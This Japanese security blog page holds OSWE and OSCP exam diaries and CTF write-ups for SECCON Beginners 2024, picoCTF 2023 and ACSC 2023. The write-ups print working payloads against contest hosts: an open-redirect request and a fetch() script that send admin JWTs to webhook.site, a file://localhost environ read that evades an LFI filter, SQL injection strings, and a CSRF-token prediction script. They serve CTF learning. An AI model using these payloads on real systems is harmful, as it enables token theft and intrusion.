甘めな技術。

セキュリティ多めの甘めな技術ブログ

OSWEに合格した(WEB-300)

OffSec Web Expert (OSWE) に合格しました。

費用はOSCPの時と同様会社に出してもらいました。

Webが今まで一番触れてきた分野だったので落ちたくないという想いが強かったのですが、なんとか一発で受かってホッとしています。

5月

ゴールデンウィーク明けから、教科書読みを始めました。

本当はゴールデンウィークに進めたかったのですが、会社への申請が遅くなってしまい断念。

その代わりゴールデンウィーク中は『ひぐらしのなく頃に』を一気見できたので満足しています。

7月の3連休で受験するのが一番だと思い、すぐに予約をいれました。

始めの3週間くらいはちまちまと教科書読み(と手を動かして確認)をしていたのですが、途中で謎にやる気がでなくなってしまい、その後3週間くらい全く手を付けていませんでした。

ちなみに、OSCPの時と違って、専用のKali VMを立てたりはしないでWSL2+Windows Terminalでやっていました。Burp Suiteさえ触れれば基本どうにかなるので。

6月

流石にヤバいと思い、6月中盤から再開。

爆速で教科書読みを終わらせて、週末はLabをやっていました。

Extra Milesは時間が無かったのでやっていませんでしたが、骨のある問題も結構ありそうだったので、時間があればやった方が力になると思います。

LabはしっかりPoCまで書いたのですが、これが一番試験で役に立ちました。

リバースシェルやWebサーバーをPython上でやり繰りするのは1から作ると面倒くさいので用意しておくのが吉です。

7月

ギリギリ試験の前週に、Labを3つとも解き終わりました。

試験までは自分の中で理解が怪しい、デシリアライズ系とPrototypePollutionを復習していました。

試験本番

7/12 19:00

余り大きな声で言うつもりはないですが、買ってきた炒飯に虫が入っており、最悪の食事体験でした。

7/12 23:00

気を取り直して、開始しました。

3連休は結構人気で、この時間からしか取れなかったんですよね。

7/13 3:00

1台目のAuth Bypassができました。 結構複雑だったんですが、事前に用意してたスクリプトが上手く役立ってくれました。

7/13 4:30

1台目のRCEが取れそうで取れず、結局就寝。

7/13 10:30

起床、再開。

いつもは土日なら10時間くらい寝ててもおかしくないんですが、試験中は緊張しているのか、自然と5~6時間で起きてしまいます。

7/13 11:30

2台目のAuth Bypass達成。

こちらは1台目と比べて結構単純でした。

7/13 15:40

1台目のRCE達成。

変な所に引っかかっていただけで、冷静になってみれば簡単に取れました。

ということで開始から約17時間で合格点には到達できました。 OSCPと比較して時間的な余裕があるので、試験中の焦りとかは無かったです。

ただ、2台目のRCEがとても難しく、全然解けませんでした。

7/13 23:24

Chromeがクラッシュして、ウェブカメラや画面の共有ができなくなりました。 とても焦ったのですがFirefoxに変えることで事なきを得ました。

あぁMozilla財団~

7/14 4:00

就寝。

7/14 9:30

起床、2台目のRCEが取れない。

レポート書いても良いかなとは思っていたんですが、2台目のRCEが取れないのが悔しく、なかなか諦められません。

7/14 17:00

RCEも道筋は見えていたのですが、最後の最後が分からず、結局諦めてレポート作成に移ります。

私がラビットホールから抜け出せていないだけで、想定解法は全く違った可能性もありますが……。

7/14 22:45

試験終了。

最後のRCEが取れなかったのが悔しく、レポートやる気があまり出ず……。

単純に解法が複雑でだるかったというのもありますが。

7/15 3:00

就寝。

7/15 12:00

起床。 久しぶりにとてもよく寝れました。だらだらとレポートを書いていきます。

7/15 19:00

レポート提出。

とくに推敲とか面倒くさくてやらなかったです。

終わった後、1人でちょっと飲みながら、新海誠の最高傑作である(異論は認めない)『秒速5センチメートル』を見返していました。やっぱ新海誠の神髄はこれですよね。

7/16 13:00

ポータルに合格表示。

なぜポータルの合格表示はこんなに早いのか……。

7/16 19:25

合格メール受信。

やったー。

まとめ

2カ月くらいで順調に取れたのでよかったです。

個人的にはOSCPよりも簡単でした。ソースコードが読めるのはデカいですね。

実際、合格するのはそれほど難しくないと思います。なんか1個難易度調整ミスってるRCE問がありましたが、これ解きたかったですね~。

なにはともあれ合格出来てよかったです。

SECCON Beginners CTF 2024 Writeup

ちゃんとCTFやるのが1年ぶりぐらいだったので結構楽しめました。

webに絞って解いていたのですが、3問で力尽きてしまいmiscも1つ解きました。

web

wooorker

adminのJWTを取る問題。 JWTの生成過程は堅そうだったので、/reportからJWTを奪う方針。

ログインフォームのオープンリダイレクトを悪用して、webhook.siteに投げる。

POST /report HTTP/1.1
Host: wooorker.beginners.seccon.games
Content-Length: 80
Content-Type: application/json
Connection: keep-alive

{"path":"login?next=https://webhook.site/eaea36b3-243a-4e64-acb6-0adf440fe779/"}

数秒後、レスポンスが返ってくる。(コンテスト中は結構込み合っていました)

このtokenを使ってアクセスすればよい。

https://wooorker.beginners.seccon.games/?token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaXNBZG1pbiI6dHJ1ZSwiaWF0IjoxNzE4NDM4MzQ4LCJleHAiOjE3MTg0NDE5NDh9.yMEeKHcN9Q3mouWSVi5P135inigZMnO-Qy-J3rZqF4o

ctf4b{0p3n_r3d1r3c7_m4k35_70k3n_l34k3d}

ssrforlfi

LFI(?)かSSRFかRCEができそうな問題。

    # Allow only a-z, ", (, ), ., /, :, ;, <, >, @, |
    if not re.match('^[a-z"()./:;<>@|]*$', url):
        return "Invalid URL ;("

    # SSRF & LFI protection
    if url.startswith("http://") or url.startswith("https://"):
        if "localhost" in url:
            return "Detected SSRF ;("
    elif url.startswith("file://"):
        path = url[7:]
        if os.path.exists(path) or ".." in path:
            return "Detected LFI ;("
    else:
        # Block other schemes
        return "Invalid Scheme ;("

    try:
        # RCE ?
        proc = subprocess.run(
            f"curl '{url}'",
            capture_output=True,
            shell=True,
            text=True,
            timeout=1,
        )
    except subprocess.TimeoutExpired:
        return "Timeout ;("
    if proc.returncode != 0:
        return "Error ;("
    return proc.stdout

環境変数にFLAGが入っている中でいかにして上記のコードから読み出すのかということ。

SSRFしてもなんの意味も無さそうだし、curlの引数も'で囲われているし文字種制限が厳しいしでfileプロトコルを使うしかない。

環境変数自体は/proc/self/environで確認できる。 ただ、os.path.existsのチェックに引っかかるといけないので、どうにか工夫しないといけない。

まじで沼ったんですが、RFC 1738 - Uniform Resource Locators (URL)をみたらfile://localhost/が使える事が分かり、クリア。

GET /?url=file://localhost/proc/self/environ HTTP/1.1
Host: ssrforlfi.beginners.seccon.games

ctf4b{1_7h1nk_bl0ck3d_b07h_55rf_4nd_lf1}

wooorker2

前述のwooorkerとほぼ同じ。

ただ、GETパラメタではなく#を使って渡しているので、一旦location.hashで抽出しないといけない。

<script>
  fetch('https://webhook.site/eaea36b3-243a-4e64-acb6-0adf440fe779?'+location.hash.replace('#', ''))
</script>

上記のファイルをGistにあげ、githack経由で実行させる。

POST /report HTTP/1.1
Host: wooorker2.beginners.seccon.games
Content-Type: application/json
Connection: keep-alive
Content-Length: 142

{"path":"login?next=https://gist.githack.com/amame04/3ba451aecf55bf96e21096d0aef24c7d/raw/33353b6888aead1dceec2a34a95f965c24cb0143/test.html"}

ctf4b{x55_50m371m35_m4k35_w0rk3r_vuln3r4bl3}

misc

getRank

webのbeginner問かと思ったので解きました……。

10 ** 255より大きい値を投げる必要があるが、桁数制限があり10進数では難しい。ほな16進数使おか。

POST / HTTP/1.1
Host: getrank.beginners.seccon.games
Content-Length: 312
Content-Type: application/json
Connection: keep-alive

{"input":"0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF"}

ctf4b{15_my_5c0r3_700000_b1g?}

結

Web問の表層しか触れなくて悔しいです。

double-leaksは粘ったんですが、mongodbでString同士を$gtした時の挙動に気付けなかった……。

flagAliasもdouble-leaksが解けてたらそのままのテンションでもうちょっと粘れたかもしれない……。

htmlsはWriteup見て素直に面白いと思いました。あのような問題がwebの醍醐味だと勝手に思っています。

久しぶりのCTF楽しかったです。

VMware Workstationをインストール後、「このデバイスのクラス構成のセットアップをまだ処理しています。(コード56)」となる問題の対処法

参考:

対処法:

  1. HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{3d09c1ca-2bcc-40b7-b9bb-3f3ec143a87b}をキーごと削除
  2. VMware関連のネットワークアダプターを削除
  3. 再起動

で解決した。まじでありがとう。

OSCPに合格した (PEN-200 2023)

OffSec Certified Professional (OSCP) に合格しました。

費用は会社に出してもらっていたので私は1銭も払わなかったのですが、落ちたときの再受験料については特に聞かされていなかったので多分出ないのだと思います。

まあつまりなんとか1回で受かることができました。

8月

2023年の9月からOSCPに挑戦すると決めたため、それまでHack The Boxをしたり、ADについて勉強したりしていました。

HTBについてはこちらの記事にも書いています。 amame.hateblo.jp

また、TryHackMeのADモジュールを8割ぐらいやりました。基本TryHackMeのVPNに接続してWindowsをRDPで操作するのですが、なかなか重たくて辛かったです。

あとは『ミミミミミッミ』という本を読みました。

techbookfest.org

他のOSCP受験記で聖書と呼ばれていたので読んでみたのですが、とても分かりやすかったです。

TryHackMeでADの基礎を学んで『ミミミミミッミ』で攻撃について学ぶというのは自分としてはとても良かったかなと思います。おかげでOSCPの限られた時間で躓かずに済みました。

ADの基礎についてはTryHackMeよりもいい教材があるかもしれません。

9月

3か月のコースがスタートしました。

9月前半は学校が無かったのでその間に結構進めたかったのですが思ったよりも成果は出ませんでした。 モジュール1つ1つに骨があり、想像以上に大変で連続してやるには集中力が足りなかったです。

まあこれに関しては私の精神力と体力不足ですね。

結局教科書読みとExerciseは18日かけて終わらせました。 やっと本番とも言われるChallenge Labの攻略に入れます。

が、ここらへんから学校が始まりました。最終学年の後期なので暇だろ思っていたんですがめっちゃ忙しかった(泣)

なので基本的に平日はほとんど進めなかったです。

OSCPは1日3時間以上勉強するべきという言説(私自身は資格合格のための勉強量は当人のバックグランドに大きく依存するだろと思っていますが)をよく見かけるので、焦燥感は感じていました。

10月

ひたすらChallenge Labを進めていました。

と言いたいところですが、前述の通り学校が忙しく基本的に土日にしかできず、10月15日時点で57個中25個という記録でした。

ADはDCさえ侵害できれば芋づる式に傘下のマシンへのアクセス権を得られるので、思ったよりも楽でした。

また、パスポートを申請していました。私含め多くの日本人は有効な本人確認手段がパスポートしかないため、試験までに取得しておく必要があります。

OffSecに身銭を切ることはありませんでしたが、10年用パスポートの取得に1万6千円程度かかりました。

10月28日~29日で模擬試験のような事をやりました。結果は惨敗でしたが、レポートまでしっかり書いたので結構身になりました。

本番でレポートを書いて結構時間がかかったという人をネットでよく見たのですが、1回書いておくだけで次からはサクサク書けるようになるので、レポートも少なくとも1回は練習で書いておくことをお勧めします。

11月

Challenge Labです。海外の体験談やRedditを見ているとProving Groundsとかもやっている方が多い感じでしたが、PEN-200の契約期間中はそっちを優先すべきとの投稿に納得したため、基本的に手を付けませんでした。

11月に入ったあたりからプレッシャーが大きくなり、体験記やRedditの投稿を読み漁ったりしていました。対して意味は無かったと思います。

11月30日にLabへのアクセス権が失効し、最終的に57個中46個のマシンのproof.txtを提出しました。

12月1日は、Proving Groundsで1つのマシンをユーザー権限まで取得しました。特権昇格までやりたかったのですが、お金を払っていなかったので3時間の時間制限が来てしまい諦めました。

試験開始は12月の2日(土)の11時に設定していました。

試験本番

12月2日 10:40

portalにログインしました。

試験開始15分まえにログイン可能になると説明されていたのですが、実際はもう少し早いようです。

画面共有とウェブカメラの共有に少し躓きました。まず、モニターは3台用意していたのですが、3台ともネットワーク越しに共有するのに結構時間がかかりました。

また、iVcamをインストールしていたのですが、portal上でメインのウェブカメラがiVcamになってしまい、それを変更する方法が分からず(多分ない)結局アンインストールすることになりました。

スマホ等をウェブカメラにして使う事は禁止されているので、ちゃんとしたウェブカメラが必要です。普段私はミラーレス一眼レフをウェブカメラとして使っていましたが、大事をとってankerの7千円程度のウェブカメラを購入しました。

11:02

前述のようなこともあり、2分遅れてスタートしました。

戦略としては、AD攻略+独立Local×3+ボーナスポイントの80ポイントで合格しようと思っていました。

なのでまずADの攻略を進めました。

18:00

7時間かけてなんの進捗もありませんでした。

ADの初期侵害すらなんの糸口も見つけられませんでした。

この時点で状況は絶望的であり不合格を確信していました。

半ば諦めていた私は、監視されている中OSCPの不合格体験記を読み、自らを慰める方向に舵を切りました。今思うと試験中に体験記読むのはなかなかリスキーな行為でした。

いわゆるネタバレが含まれていた場合カンニング扱いされてもおかしくないので。

完全に精神は闇落ちしていた私はいくつかの体験記・Redditを漁った後、以下の記事に出合います。

medium.com

これはOSCPに2回落ちた筆者が3回目で合格する話です。

意訳ですが、途中こんな話が書いてありました。

OSCPに2回落ちた筆者、ペンテスターの求人に応募し面接を受けます。

面接官からOSCPに合格したかと聞かれ、恥ずかしながらも「いえ、2回落ちました。でもまだ挑戦中です。」と答えました。 すると面接官は笑って、ジュニアのほとんどはOSCPに挑戦さえしていない。あなたの方が先を行っているよと返します。続けて「私は合格するまでに7回落ちた。」と言うのです。 私は驚き、そしてこれが突破口になりました。

7回も落ちた人もいるのかと私も驚きました。そういう話を聞くと、1回くらい落ちても平気だと楽観的な気持ちになれます。そして文章は以下のように続きます。

この試験は敗北をもたらすものです。あなたを破滅させ、あなたを完膚なきまでに打ちのめし、負け犬を淘汰するように作られている。努力を続け、挑戦し続ける限り、私も合格できるのだと悟った。失敗は進歩である。これを理解するのに時間がかかりすぎた。失敗しても、その失敗から学べれば、それは失敗ではない!本当の失敗は挑戦をやめることである。失敗し続けろ!そして全てが変わった。

完全に安西先生です。「あきらめたらそこで試合終了ですよ」という声がここまでマッチする状況はあるでしょうか。

私はこの時まで、精神論というものを完全に馬鹿にしていたことを謝らねばなりません。

もちろん適所適材ではありますが、気持ちの力というのはこんなにも大きいものなのかと身をもって実感することができました。

それほどまでに私はこの文章を読んで自信をつけることができたのです。

もし私が試験中にこの文章に出合っていなければ、途中で諦め、合格していなかったかもしれません。

私はこの文章に感謝してもしきれないほど救われました。

また、このような記述もありました。

Don’t overthink it. OSCP is using publicly known vulnerabilities with publicly known exploits.

考えすぎるな。OSCPは既知のエクスプロイトで既知の脆弱性を使うだけだ。

この文章を読んだ時点で私の気持ちは、独立×3 + ボーナスポイントの合計70ポイントで合格する方向へと切り替え終えていました。

7時間何もできなかったからってなんだ。23時間45分の試験だぞ。あと16時間以上時間は残っているじゃないか。Redditだと12時間以内に全完した奴だって珍しくない。21時間ADが侵害できなくて、3時間で独立3台攻略して受かった奴だっていた。まだチャンスは残っているぞ!うおおおおおお。

19:30

独立1個目Local取得。

この後一旦風呂に入ったのですが、我が顎ゆるまずんば非ずといった状況で、冷静に見れば8時間以上かけて10ポイントしか取得していなくとも、もう試験に合格したかのような気持で湯船につかっていました。

20:15分

風呂から出て、独立1個目Root取得。

23:20

独立2個目のLocal取得。

12月3日 00:25

独立2個目Root取得。

01:05

独立3個目Local取得。

01:30

独立3個目Root取得。

なんと方針を変えてから7時間程度で独立を全て解くことができました。

この時ほど嬉しかったことは人生でもほとんどないでしょう。ガッツポーズを何回もしていました。深夜でなかったら雄叫びを上げていたと思います。

その後は証跡集めをし、3時半ごろに就寝しました。

07:00

アラームなしで起床。アラームは一応7時半に設定していました。

レポートを作成しつつADを見ますが進展はなし。この時点でレポートに不備がなければ合格できることが分かっていたのでぶっちゃけADをやる気は薄れていました。

10:30

15分早めに終了しました。

14:50

レポートを提出。

ちなみにレポートですが、一人称I + 過去形の形式で進めました。テンプレートは三人称Johnが使われていましたが、一人称でレポートを書いたという日本人の体験記を確認できたので大丈夫だろうという判断です。

Iを多用するのは流石に良くないかなと思い、The result showed ~ みたいな文もちょくちょく挟むようにしました。

完全に機械翻訳に頼ってレポートを進めましたね。

16:35

OffSecにログインしたらExamのところに「合格した」という表示がありました。流石に早すぎだと思うのですが、これは暫定みたいなものなのですかね。

12月4日 15:20

レポート提出から24時間30分後、メールで合格通知と証明書の案内が来ました。 ウェブサイトの表示が早すぎて信用しきれなかったので、正式に証明書を貰えてやっと安心できました。

まとめ

技術というよりもセンスを磨く試験であると感じました。Redditの受け売りですが、too hardというよりtoo trickyであると強く感じます。

問われている技術はコースの範囲内に収まっていたと思います。ただChallenge Labよりも明らかに試験問題の方が複雑でした。

一筋縄ではいかない、trickyな細工がどのマシンにも施されています。

知識を知っている知っていないではなく、どこに当たりをつけて試すかの思考が問われていると感じる試験でした。

目標にしていた資格なので合格出来てめっちゃうれしいです!!

Hack The BoxでHackerになった。

いやぁ、これで正真正銘Hacker名乗れますな(笑)。

時系列(うろ覚え)

2022/10月

  • 本格的に始める
  • 登録はもっと前にしていたと思いますが、歯が立たず放置していました

2022/11月

  • Script Kiddleになる
  • Easyの中でも簡単なマシンのみなんとか解ける感じでした
  • Root:3, User:4, Challenges:4
  • ちょっと難しくなると歯が立たなくなり放置

画像にあるように、そこから8か月程度放置していました。(当然いままで解いた分の所有率はリセット)

2022/1月~3月

  • 就活と並行してTryHackMeを学割で契約して色々と学ぶ
  • 就活の終了によって燃え尽き

2023/8月

  • OSCP取りてーと思って、再開
    8/2
  • Root:2, User2
    8/3
  • Root:2, User2
    8/4
  • Root:1, User1
    8/5
  • Root:1, User1

で、合計6つのマシンを解いてHackerになりました。

他の方の記事とか見てるとVIPを契約してRetiredをたくさんやられていたのですが、私はケチってFreeのままです。

HTB力を鍛えたかったら、TryHackMeとかより、HTBのRetiredをたくさんやる方が身のためかもしれません。TryHackMeは色々なジャンルがあり、WindowsADとか学べたのはすごくよかったです。ただ、帯域が弱くストレスが……。

計算上は6つだとギリギリHackerに到達できなかったんですが、Challengesは入れ替わりが余りなく去年解いた4つ分が残っていてHackerなれたという訳です。

計算してみたところ、(Challengesの問題数によりますが)Easy全部とChallenges2個解けばHackerRankになれるようです。

Userについて

まあみんな言っていますが、列挙とwordlistが大事です。こういう総当たり的なのはCTFと違う所ですね。

ただ脆弱性を見つけるという事に関してはCTFの経験とか勘みたいなのが私は大きく役立ったと思っています。

いやこれ実際はありえないでしょみたいなマシンもありますが、そういうのは良くも悪くも変な知識が要求されることが多く勉強になりました。

Rootについて

怪しいものを見逃さないかが大事です。私は結構苦手で、変に時間をかけてしまう事が多かったです。

ただ、見る場所はどのマシンでも対して変わらないというか限られているので、何回もやっていればコツをつかめてくるでしょう。

総括

目標はOSCPなのでProHackerまでやるかは分かりませんが、結構楽しかったです。

HTBはランクが(厨二的で)カッコいいから上を目指したくなりますね。

picoCTF 2023 writeup

picoCTF 2023 Writeup

web問だけ解きました。

Web Exploitation

findme

このような2つのリダイレクトがあった。 他に意味のありそうなものは無かったので、idパラメタをbase64decodeするとflagだった。

MatchTheRegex

正規表現でマッチさせるだけ。 .*だけだとだめだった。

SOAP

XXE

More SQLi

Login ID: 1' or 1=1 -- Password: 1' or 1=1 --

query: ' UNION SELECT * FROM users --

query: ' UNION SELECT group_concat(sql), group_concat(sql), group_concat(sql) FROM sqlite_master --

query: ' UNION select flag, flag, flag from more_table --

Java Code Analysis!?!

認可にJWTを使ってるんですね。

生成コードに穴とか無いかなと思ってみてみたら。

// not so random
return "1234";

めちゃめちゃハードコーディングされておった!?!

所感

ここまで解いた後に「冴えない彼女の育てかた」というライトノベルにハマってしまい、あとの問題は解けてません。根気が足りなかった。

ACSC 2023 Writeup

101th(global: 140 th)でした。

骨のある問題が多く中々解けなかった。

解けたのは (Welcome), Merkle Hellman, Admin Dashboardのみ。

うーむ。ガチ勢とのレベル差を実感したね。

Writeup

Welcome

discordにある。

ACSC{W3lc0m3_t0_ACSC_2023_g00d_luck!}

Merkle Hellman

ja.wikipedia.org

これかな?

平文に対して、(26 >> i) == 1であるPublicKey[i]の合計を求める感じ。

前提知識ないままコード読んでflag取ってしまったので、結構効率悪いと思う。 実際Private Key使ってないしね。

# Output:
# Public Key = [7352, 2356, 7579, 19235, 1944, 14029, 1084]
# Private Key = ([184, 332, 713, 1255, 2688, 5243, 10448], 20910)
# Ciphertext = [8436, 22465, 30044, 22465, 51635, 10380, 11879, 50551, 35250, 51223, 14931, 25048, 7352, 50551, 37606, 39550]

b = [7352, 2356, 7579, 19235, 1944, 14029, 1084]
(w, q) = ([184, 332, 713, 1255, 2688, 5243, 10448], 20910)
c = [8436, 22465, 30044, 22465, 51635, 10380, 11879, 50551, 35250, 51223, 14931, 25048, 7352, 50551, 37606, 39550]

result = []
for s in c:
    flag = 0
    for i in range(7):
        for v in itertools.permutations(b, i):
            sum = 0
            for vv in v:
                sum += vv
            if sum == s:
                flag = 1
                result.append(v)
                break
        if flag == 1:
            break

print(result)
flag = ''
for r in result:
    ascii = 0
    for v in r:
        ascii |= (64 >> b.index(v))
    flag += chr(ascii)
print (flag)
ACSC{E4zY_P3@zy}

頑張れば手動でも行けそうだなと思った。

Admin Dashboard

admin-dashboard

reportページから、admin権限でgetリクエストを飛ばせる。 問題文中でgetリクエストが生きる場面は /addadmin のみなので、ここにリクエストを飛ばして任意のadminユーザを作ればよい。

ただ、csrf-tokenの検証が入るので、tokenを推測しなければならない。

トークンのアルゴリズムは↓

$sql = "SELECT * FROM secrets";
$stmt = $conn->prepare($sql);
$stmt->execute();
$result = $stmt->get_result();
$row = $result->fetch_assoc();
if($row){
    $A = gmp_import($row['A']);
    $C = gmp_import($row['C']);
    $M = gmp_init("0xc4f3b4b3deadbeef1337c0dedeadc0dd");
}
if (!isset($_SESSION['X'])){
    $X = gmp_import($_SESSION["user"]["username"]);
    $_SESSION['X'] = gmp_mod(gmp_add(gmp_mul($A, $X),$C),$M);
    $_SESSION["token-expire"] = time() + 30; 
}else{
    if(time() >= $_SESSION["token-expire"]){
        $_SESSION['X'] = gmp_mod(gmp_add(gmp_mul($A, $_SESSION['X']),$C),$M);
        $_SESSION["token-expire"] = time() + 30; 
    }
}

数式化するとこうなる。

 \displaystyle
X_{n+1} = (AX_n + C) \bmod M

ただし、AとCは不明。

ちょっと調べてみると線型合同法という乱数生成アルゴリズムで、推測可能らしい事が分かった。

X = []
X.append(0x74657374616d) # <?php echo gmp_strval(gmp_import('testam'), 16); ?>
X.append(0xadbcf226031e752084d83547d0fa1f3d)
X.append(0x2b0546e77c9a59aa216a57eaa822e13f)

Y = []
Y.append(X[1] - X[0])
Y.append(X[2] - X[1])

M  = 0xc4f3b4b3deadbeef1337c0dedeadc0dd

A = Y[1] * pow(Y[0], -1, M)
C = X[1] - A * X[0]

assert X[1] == (A * X[0] + C) % M, "Not eqaul"
assert X[2] == (A * X[1] + C) % M, "Not eqaul"

print(f'A: {hex(A)}')
print(f'C: {hex(C)}')

print()

Xadmin = 0x61646d696e # <?php echo gmp_strval(gmp_import('admin'), 16); ?>
print(f'Token: {hex((A * Xadmin + C) % M)}')

# OUTPUT
# A: -0x179c720dd58f5ae3904ef5e6007583dc476ecefd04f89eb882e9e8eba06e47fe
# C: 0xabc3f0d475670c5f1c45efe04c38954aedcd1691121263d1cd5c75c02928ba964eaa24e0463
#
# Token: 0x5b4b474720175fc8e5fb8f3e4b7266dc

という訳で、投げるべきリクエストは

url=http://localhost/addadmin?username=am2497%26password=password%26csrf-token=5b4b474720175fc8e5fb8f3e4b7266dc

そして、

ACSC{C$rF_15_3VerYwh3Re!}

リクエスト中に&をそのまま書いていて上手くいかないというミスで結構時間を使った。

あと線型合同法のAとCの計算は以下のkurenaifさんの記事を参考にした。動画も分かりやすかった。

zenn.dev

所感

中々悔しい。